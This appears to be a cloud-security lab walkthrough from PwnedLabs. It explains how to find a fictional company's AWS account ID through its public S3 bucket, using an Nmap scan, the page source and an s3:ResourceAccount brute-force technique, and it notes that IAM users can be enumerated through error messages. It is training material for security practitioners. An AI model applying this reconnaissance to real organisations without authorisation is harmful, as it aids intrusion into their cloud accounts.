PWNEDLABS
PWNEDLABS offers hands-on challenges focused on cloud security, covering AWS, Azure, and other platforms. Improve your exploitation skills with real-world scenarios.
Identify the AWS Account ID from a Public S3 Bucket
Scenario
The ability to expose and leverage even the smallest oversights is a coveted skill. A global Logistics Company has reached out to our cybersecurity company for assistance and have provided the IP address of their website. Your objective? Start the engagement and use this IP address to identify their AWS account ID via a public S3 bucket so we can commence the process of enumeration.
Lab prerequisites
Basic Linux command line knowledge
Learning outcomes
Knowledge of a technique that can be used to find AWS Account IDs
Understanding what a tool does by performing a code review
Difficulty
Foundations
Focus
Red
Real-world context
If threat actors get their hands on an AWS Account ID, they can try to identify the IAM roles and users tied to that account. They can do this by taking advantage of detailed error messages that AWS services return when inputting an incorrect username or role name. These messages can verify if an IAM user or role exists, which can help threat actors compile a list of possible targets in the AWS account. It's also possible to filter public EBS and RDS snapshots by the AWS Account ID that owns it.
Walkthrough
Enumeration
Let's start by scanning the IP address with Nmap. Port 80 & 53 is available we can check it out in a browser.
This reveals the website for the company Mega Big Tech. There doesn't seem to be any interesting functionality, let's check the source code.
The reveals that the images are being hosted on an Amazon S3 bucket named mega-big-tech.
Inspection of this bucket in the browser reveals an images directory with other images, but nothing too interesting.
With the S3 bucket name we can attempt to get the ID of the AWS Account it's hosted in. Research by Ben Bridts revealed that it's possible to quickly brute force the AWS account ID an S3 bucket belongs to. Reading this research post and also reviewing the code here is recommended, but a TL; DR is that this script creates policy that utilizes the new S3:ResourceAccount Policy Condition Key to evaluate whether to grant us access to an S3 bucket based on the AWS account that the bucket belongs to. Fortunately, the script doesn't have to guess a trillion different account IDs to find the right one, the available search space is massively reduced by leveraging string matching and wildcards. Each correctly matched digit is appended to a variable, and the request is repeated until the account ID is found.
We have provided a user with a role it can assume in order to carry out this attack, if you do not have access to an AWS account. However, if you would like to set up the user and role yourself, you can create the policies below.
The IAM user assuming the role would have the following policy attached.
The role that your user is allowed to assume would have the following policy attached that allows the s3:GetObject and s3:ListBucket permissions to the mega-big-tech bucket.
Last updated